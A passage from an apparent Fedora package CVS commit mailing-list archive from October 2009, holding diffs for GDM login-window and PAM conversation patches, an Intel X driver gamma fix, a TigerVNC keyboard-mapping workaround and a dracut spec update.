@@ -17314,7 +17371,7 @@ index ed47b52..372e5f8 100644
  }
  
  static void
-@@ -1176,54 +1262,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1170,54 +1256,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
          item_id = gdm_chooser_widget_get_active_item (GDM_CHOOSER_WIDGET (user_chooser));
          g_debug ("GdmGreeterLoginWindow: item chosen '%s'", item_id);
  
@@ -17377,13 +17434,13 @@ index ed47b52..372e5f8 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0d19a210f5395b2923a200e277814aacae431a4f Mon Sep 17 00:00:00 2001
+From 6e4ec39d76631d1a9d00aa7145dcaef9f96b4899 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:57:34 -0500
-Subject: [PATCH 42/48] Add new function find_task_with_service_name
+Subject: [PATCH 46/53] Add new function find_task_with_service_name
 
 It hides a bunch of icky foreach calls.
 ---
@@ -17391,10 +17448,10 @@ It hides a bunch of icky foreach calls.
  1 files changed, 22 insertions(+), 28 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 372e5f8..863e860 100644
+index fb54e5f..28c9ab2 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -618,6 +618,20 @@ task_has_service_name (GdmTaskList *task_list,
+@@ -612,6 +612,20 @@ task_has_service_name (GdmTaskList *task_list,
          return has_service_name;
  }
  
@@ -17415,7 +17472,7 @@ index 372e5f8..863e860 100644
  static gboolean
  reset_task (GdmTaskList           *task_list,
              GdmTask               *task,
-@@ -723,10 +737,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -717,10 +731,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17427,7 +17484,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  if (gdm_chooser_widget_is_loaded (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser))) {
-@@ -755,10 +766,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -749,10 +760,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17439,7 +17496,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_reset (GDM_CONVERSATION (task));
-@@ -816,10 +824,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -820,10 +828,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: info: %s", text);
  
@@ -17451,7 +17508,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -850,10 +855,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -844,10 +849,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: problem: %s", text);
  
@@ -17463,7 +17520,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -955,10 +957,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -949,10 +951,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
  
          g_debug ("GdmGreeterLoginWindow: info query: %s", text);
  
@@ -17476,7 +17533,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_question (GDM_CONVERSATION (task),
-@@ -986,10 +986,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -980,10 +980,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17488,7 +17545,7 @@ index 372e5f8..863e860 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_secret (GDM_CONVERSATION (task),
-@@ -1219,10 +1216,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
+@@ -1213,10 +1210,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
  {
          GdmTask *task;
  
@@ -17501,13 +17558,13 @@ index 372e5f8..863e860 100644
          if (task == NULL) {
                  g_debug ("GdmGreeterLoginWindow: %s has no task associated with it", service_name);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From af024db353d19d1f7d3d02f86d79fdf99a8f0457 Mon Sep 17 00:00:00 2001
+From cd7e032237d37b1072efc5612346a705f18a1bd7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 17:09:16 -0500
-Subject: [PATCH 43/48] Notify plugins if their user choose requests fail
+Subject: [PATCH 47/53] Notify plugins if their user choose requests fail
 
 This allows the smart card plugin to cancel pending
 conversations when a card gets inserted.
@@ -17534,10 +17591,10 @@ index d5455e1..d8a9e72 100644
  VOID:DOUBLE
 +BOOLEAN:STRING
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 863e860..cb12978 100644
+index 28c9ab2..e2600fb 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1916,7 +1916,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
+@@ -1910,7 +1910,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
          do_cancel (login_window);
  }
  
@@ -17546,7 +17603,7 @@ index 863e860..cb12978 100644
  on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                              const char            *username,
                              GdmConversation       *conversation)
-@@ -1927,7 +1927,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1921,7 +1921,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  name = gdm_task_get_name (GDM_TASK (conversation));
                  g_warning ("Task %s is trying to choose user before list is loaded", name);
                  g_free (name);
@@ -17561,7 +17618,7 @@ index 863e860..cb12978 100644
          }
  
          if (gdm_task_list_set_active_task (GDM_TASK_LIST (login_window->priv->conversation_list),
-@@ -1935,6 +1941,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1929,6 +1935,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  gdm_user_chooser_widget_set_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser),
                                                                username);
          }
@@ -17714,13 +17771,13 @@ index a9e41f4..274132e 100644
  
  char *
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From cd898cdf45186aa0525a1925f21cd0ad73e1c417 Mon Sep 17 00:00:00 2001
+From 1b8d1fd31b5e6290111f3a6b3697ec6dc61b26f1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 13 Apr 2009 14:19:50 -0400
-Subject: [PATCH 44/48] reset all conversations if password conversation fails
+Subject: [PATCH 48/53] reset all conversations if password conversation fails
 
 This is a temporary hack until we store plugin policy in
 gconf.
@@ -17729,10 +17786,10 @@ gconf.
  1 files changed, 10 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index cb12978..fda4ba0 100644
+index e2600fb..fc12f36 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -766,6 +766,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -760,6 +760,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17750,13 +17807,13 @@ index cb12978..fda4ba0 100644
  
          if (task != NULL) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 55863d6c1974e7881cb644369d4a65ccf11475ec Mon Sep 17 00:00:00 2001
+From 6495837d40ed163862ab8bad5b9d5493d54fc388 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 10:25:18 -0400
-Subject: [PATCH 45/48] When one PAM conversation wins, stop the others
+Subject: [PATCH 49/53] When one PAM conversation wins, stop the others
 
 This doesn't work yet, it's still in progress code.
 ---
@@ -17765,10 +17822,10 @@ This doesn't work yet, it's still in pro
  2 files changed, 46 insertions(+), 20 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index b74c765..d5209f4 100644
+index 738267a..52a67c4 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2256,6 +2256,40 @@ gdm_session_direct_open_session (GdmSession *session,
+@@ -2258,6 +2258,40 @@ gdm_session_direct_open_session (GdmSession *session,
  }
  
  static void
@@ -17809,7 +17866,7 @@ index b74c765..d5209f4 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2267,12 +2301,20 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2269,12 +2303,20 @@ gdm_session_direct_start_session (GdmSession *session,
          g_return_if_fail (session != NULL);
          g_return_if_fail (impl->priv->is_running == FALSE);
  
@@ -17832,7 +17889,7 @@ index b74c765..d5209f4 100644
          setup_session_environment (impl);
          send_environment (impl, conversation);
  
-@@ -2283,23 +2325,7 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2285,23 +2327,7 @@ gdm_session_direct_start_session (GdmSession *session,
  static void
  stop_all_conversations (GdmSessionDirect *session)
  {
@@ -17871,13 +17928,13 @@ index 337718b..63ea82c 100644
                                                                 service_name);
                  if (! res) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0887e6298a4435c3d4e9ad7f553fe32bce363413 Mon Sep 17 00:00:00 2001
+From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 46/48] When one PAM conv. wins, actually stop the others
+Subject: [PATCH 50/53] When one PAM conv. wins, actually stop the others
 
 We weren't properly keeping the winning conversation
 around in the previous commit
@@ -17886,10 +17943,10 @@ around in the previous commit
  1 files changed, 10 insertions(+), 3 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index d5209f4..d2ffc87 100644
+index 52a67c4..7cc5511 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2280,13 +2280,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
+@@ -2282,13 +2282,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
                  conversation = (GdmSessionConversation *) value;
  
                  if (conversation == conversation_to_keep) {
@@ -17914,13 +17971,13 @@ index d5209f4..d2ffc87 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 749f107a23ee2d768dd2de7cd9bf0434f8f54ce9 Mon Sep 17 00:00:00 2001
+From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 47/48] KILL pam stack instead of TERM pam stack
+Subject: [PATCH 51/53] KILL pam stack instead of TERM pam stack
 
 Some PAM modules are really slow to shut down.
 We need to handle them being slow to shut down better,
@@ -17946,23 +18003,23 @@ index 0327d77..d99b8a5 100644
          if (res < 0) {
                  g_warning ("Unable to kill session worker process");
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 77491957d3822f1fbe4e0cb7d9c124e16ac8f617 Mon Sep 17 00:00:00 2001
+From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 48/48] Don't show tasklist for autologin
+Subject: [PATCH 52/53] Don't show tasklist for autologin
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
  1 files changed, 5 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fda4ba0..ce8fa38 100644
+index fc12f36..8af5452 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1195,6 +1195,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
+@@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
          set_message (login_window, _("Select language and click Log In"));
  
          switch_mode (login_window, MODE_AUTHENTICATION);
@@ -17975,5 +18032,39 @@ index fda4ba0..ce8fa38 100644
  
  static gboolean
 -- 
-1.6.5.rc2
+1.6.5.1
+
+
+From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 23 Oct 2009 17:39:19 -0400
+Subject: [PATCH 53/53] Drop the other hiding stuff for now.
+
+It depends on buttons being available that we don't have
+in the multi-stack branch.
+---
+ gui/simple-greeter/gdm-user-chooser-widget.c |    8 +-------
+ 1 files changed, 1 insertions(+), 7 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
+index bff71e5..4d3c445 100644
+--- a/gui/simple-greeter/gdm-user-chooser-widget.c
++++ b/gui/simple-greeter/gdm-user-chooser-widget.c
+@@ -140,13 +140,7 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
+                 return;
+         }
+ 
+-        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
+-
+-        /* we hide the Other user if it's the last one, and we show it
+-         * if there's another user */
+-        if (number_of_users == 1 && widget->priv->has_user_other) {
+-                remove_user_other (widget);
+-        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
++        if (!widget->priv->has_user_other) {
+                 add_user_other (widget);
+         }
+ }
+-- 
+1.6.5.1
 


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.503
retrieving revision 1.504
diff -u -p -r1.503 -r1.504
--- gdm.spec	23 Oct 2009 21:56:37 -0000	1.503
+++ gdm.spec	26 Oct 2009 14:39:59 -0000	1.504
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -405,6 +405,10 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-8
+- Attempt to fix crash some users see.
+- Clean up rebase
+
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-7
 - Show Other user even when there are no other users
   (bug 527920)



From ajax at fedoraproject.org  Mon Oct 26 14:47:10 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 14:47:10 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel xorg-x11-drv-intel.spec,1.36,1.37
Message-ID: <20091026144710.656C111C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25671

Modified Files:
	xorg-x11-drv-intel.spec 
Log Message:
sync with F12


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/xorg-x11-drv-intel.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- xorg-x11-drv-intel.spec	2 Oct 2009 03:16:42 -0000	1.36
+++ xorg-x11-drv-intel.spec	26 Oct 2009 14:47:10 -0000	1.37
@@ -14,7 +14,7 @@ Group:     User Interface/X Hardware Sup
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 #Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
-Source0:    xf86-video-intel-2.9.0.tar.bz2
+Source0:    xf86-video-intel-%{version}.tar.bz2
 Source1:    make-intel-gpu-tools-snapshot.sh
 Source2:    intel.xinf
 Source3:    intel-gpu-tools-%{gputoolsdate}.tar.bz2
@@ -22,6 +22,7 @@ Source4:    make-git-snapshot.sh
 
 Patch1: kill-svideo.patch
 Patch2: copy-fb.patch
+Patch3: intel-gamma-fix.patch
 
 # needs to be upstreamed
 Patch20: intel-2.8.0-kms-get-crtc.patch
@@ -78,6 +79,7 @@ Debugging tools for Intel graphics chips
 %setup -q -n xf86-video-intel-%{dirsuffix} -b3
 %patch1 -p1 -b .svideo
 %patch2 -p1 -b .copy-fb
+%patch3 -p1 -b .gamma-fix
 %patch20 -p1 -b .get-crtc
 %patch21 -p1 -b .lvds-first
 %patch60 -p1 -b .uevent
@@ -85,7 +87,9 @@ Debugging tools for Intel graphics chips
 
 %build
  
+# Need autoreconf also when patching a release (to pick up -ludev)
 autoreconf -vi
+
 %configure --disable-static --libdir=%{_libdir} --mandir=%{_mandir} --enable-dri --enable-kms
 make
 
@@ -135,12 +139,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
-* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-3
-- Need autoreconf also when patching a release (to pick up -ludev)
+* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.9.0-3
+- set gamma on mode set major for kms
 
 * Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
 - Rebase to 2.9.0.
-- Don't drop gpu tools from sources.
+- Need autoreconf also when patching a release (to pick up -ludev)
 
 * Thu Sep 24 2009 Dave Airlie <airlied at redhat.com> 2.8.0-16.20090909
 - Attempt to make -nr work again



From ajax at fedoraproject.org  Mon Oct 26 14:47:29 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 14:47:29 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel intel-gamma-fix.patch,NONE,1.1
Message-ID: <20091026144729.7685511C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25747

Added Files:
	intel-gamma-fix.patch 
Log Message:
sync with F12

intel-gamma-fix.patch:
 drmmode_display.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE intel-gamma-fix.patch ---
diff --git a/src/drmmode_display.c b/src/drmmode_display.c
index e8a6c01..110db40 100644
--- a/src/drmmode_display.c
+++ b/src/drmmode_display.c
@@ -363,6 +363,11 @@ drmmode_set_mode_major(xf86CrtcPtr crtc, DisplayModePtr mode,
 		goto done;
 #endif
 
+#if XORG_VERSION_CURRENT >= XORG_VERSION_NUMERIC(1,7,0,0,0)
+                crtc->funcs->gamma_set(crtc, crtc->gamma_red, crtc->gamma_green,
+                                       crtc->gamma_blue, crtc->gamma_size);
+#endif
+
 	drmmode_ConvertToKMode(crtc->scrn, &kmode, mode);
 
 



From atkac at fedoraproject.org  Mon Oct 26 14:48:16 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 26 Oct 2009 14:48:16 +0000 (UTC)
Subject: rpms/tigervnc/devel tigervnc10-rh516274.patch, NONE,
	1.1 tigervnc.spec, 1.22, 1.23
Message-ID: <20091026144816.1BA4011C0268@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25922

Modified Files:
	tigervnc.spec 
Added Files:
	tigervnc10-rh516274.patch 
Log Message:
- create Xvnc keyboard mapping before first keypress (#516274)


tigervnc10-rh516274.patch:
 dix/main.c               |    3 +++
 hw/vnc/XserverDesktop.cc |    9 +++++++++
 2 files changed, 12 insertions(+)

--- NEW FILE tigervnc10-rh516274.patch ---
diff -up tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274 tigervnc-1.0.0/unix/xserver/dix/main.c
--- tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274	2009-10-14 13:10:14.894393124 +0200
+++ tigervnc-1.0.0/unix/xserver/dix/main.c	2009-10-14 13:10:14.904391193 +0200
@@ -125,6 +125,8 @@ extern FontPtr defaultFont;
 extern void InitProcVectors(void);
 extern Bool CreateGCperDepthArray(void);
 
+extern void workaroundRHBZ516274(void);
+
 #ifndef PANORAMIX
 static
 #endif
@@ -368,6 +370,7 @@ int main(int argc, char *argv[], char *e
         InitCoreDevices();
 	InitInput(argc, argv);
 	InitAndStartDevices();
+	workaroundRHBZ516274();
 
 	dixSaveScreens(serverClient, SCREEN_SAVER_FORCER, ScreenSaverReset);
 
diff -up tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274 tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc
--- tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274	2009-08-20 11:46:42.000000000 +0200
+++ tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc	2009-10-14 13:10:30.936890666 +0200
@@ -1511,3 +1511,12 @@ static int vfbMouseProc(DeviceIntPtr pDe
   }
   return Success;
 }
+
+extern "C" {
+
+void workaroundRHBZ516274(void)
+{
+  CopyKeyClass(vncKeyboardDevice, vncKeyboardDevice->u.master);
+}
+
+};


Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/tigervnc.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- tigervnc.spec	8 Oct 2009 13:39:10 -0000	1.22
+++ tigervnc.spec	26 Oct 2009 14:48:15 -0000	1.23
@@ -1,6 +1,6 @@
 Name:		tigervnc
 Version:	1.0.0
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -42,6 +42,7 @@ Patch8:		tigervnc-viewer-reparent.patch
 Patch10:	tigervnc10-compat.patch
 Patch11:	tigervnc10-rh510185.patch
 Patch12:	tigervnc10-rh524340.patch
+Patch13:	tigervnc10-rh516274.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -107,6 +108,7 @@ popd
 %patch10 -p1 -b .compat
 %patch11 -p0 -b .rh510185
 %patch12 -p0 -b .rh524340
+%patch13 -p1 -b .rh516274
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -248,6 +250,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 26 2009 Adam Tkac <atkac redhat com> 1.0.0-3
+- create Xvnc keyboard mapping before first keypress (#516274)
+
 * Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-2
 - update underlying X source to 1.6.4-0.3.fc11
 - remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)



From atkac at fedoraproject.org  Mon Oct 26 14:51:01 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 26 Oct 2009 14:51:01 +0000 (UTC)
Subject: rpms/tigervnc/F-12 tigervnc10-rh516274.patch, NONE,
	1.1 tigervnc.spec, 1.21, 1.22
Message-ID: <20091026145101.8A75311C0268@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27121

Modified Files:
	tigervnc.spec 
Added Files:
	tigervnc10-rh516274.patch 
Log Message:
- create Xvnc keyboard mapping before first keypress (#516274)


tigervnc10-rh516274.patch:
 dix/main.c               |    3 +++
 hw/vnc/XserverDesktop.cc |    9 +++++++++
 2 files changed, 12 insertions(+)

--- NEW FILE tigervnc10-rh516274.patch ---
diff -up tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274 tigervnc-1.0.0/unix/xserver/dix/main.c
--- tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274	2009-10-14 13:10:14.894393124 +0200
+++ tigervnc-1.0.0/unix/xserver/dix/main.c	2009-10-14 13:10:14.904391193 +0200
@@ -125,6 +125,8 @@ extern FontPtr defaultFont;
 extern void InitProcVectors(void);
 extern Bool CreateGCperDepthArray(void);
 
+extern void workaroundRHBZ516274(void);
+
 #ifndef PANORAMIX
 static
 #endif
@@ -368,6 +370,7 @@ int main(int argc, char *argv[], char *e
         InitCoreDevices();
 	InitInput(argc, argv);
 	InitAndStartDevices();
+	workaroundRHBZ516274();
 
 	dixSaveScreens(serverClient, SCREEN_SAVER_FORCER, ScreenSaverReset);
 
diff -up tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274 tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc
--- tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274	2009-08-20 11:46:42.000000000 +0200
+++ tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc	2009-10-14 13:10:30.936890666 +0200
@@ -1511,3 +1511,12 @@ static int vfbMouseProc(DeviceIntPtr pDe
   }
   return Success;
 }
+
+extern "C" {
+
+void workaroundRHBZ516274(void)
+{
+  CopyKeyClass(vncKeyboardDevice, vncKeyboardDevice->u.master);
+}
+
+};


Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/tigervnc.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- tigervnc.spec	8 Oct 2009 13:39:33 -0000	1.21
+++ tigervnc.spec	26 Oct 2009 14:51:01 -0000	1.22
@@ -1,6 +1,6 @@
 Name:		tigervnc
 Version:	1.0.0
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -42,6 +42,7 @@ Patch8:		tigervnc-viewer-reparent.patch
 Patch10:	tigervnc10-compat.patch
 Patch11:	tigervnc10-rh510185.patch
 Patch12:	tigervnc10-rh524340.patch
+Patch13:	tigervnc10-rh516274.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -107,6 +108,7 @@ popd
 %patch10 -p1 -b .compat
 %patch11 -p0 -b .rh510185
 %patch12 -p0 -b .rh524340
+%patch13 -p1 -b .rh516274
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -248,6 +250,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 26 2009 Adam Tkac <atkac redhat com> 1.0.0-3
+- create Xvnc keyboard mapping before first keypress (#516274)
+
 * Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-2
 - update underlying X source to 1.6.4-0.3.fc11
 - remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)



From harald at fedoraproject.org  Mon Oct 26 14:51:57 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Mon, 26 Oct 2009 14:51:57 +0000 (UTC)
Subject: rpms/dracut/devel .cvsignore, 1.23, 1.24 dracut.spec, 1.39,
	1.40 sources, 1.24, 1.25
Message-ID: <20091026145157.51ABD11C0268@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27400

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Mon Oct 26 2009 Harald Hoyer <harald at redhat.com> 002-17
- load dm_mod module (bug #530540)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	8 Oct 2009 16:22:47 -0000	1.23
+++ .cvsignore	26 Oct 2009 14:51:57 -0000	1.24
@@ -1 +1 @@
-dracut-002-2331d1ff.tar.bz2
+dracut-002-35758e5c.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/dracut.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- dracut.spec	10 Oct 2009 00:20:46 -0000	1.39
+++ dracut.spec	26 Oct 2009 14:51:57 -0000	1.40
@@ -1,7 +1,11 @@
-%define gittag 2331d1ff
-%if 0%{?fedora} < 12
+%define gittag 35758e5c
 %define with_switch_root 1
-%else
+
+%if 0%{?fedora} > 11
+%define with_switch_root 0
+%endif
+
+%if 0%{?rhel} > 5
 %define with_switch_root 0
 %endif
 
@@ -14,7 +18,7 @@
 
 Name: dracut
 Version: 002
-Release: 16%{?rdist}
+Release: 17%{?rdist}
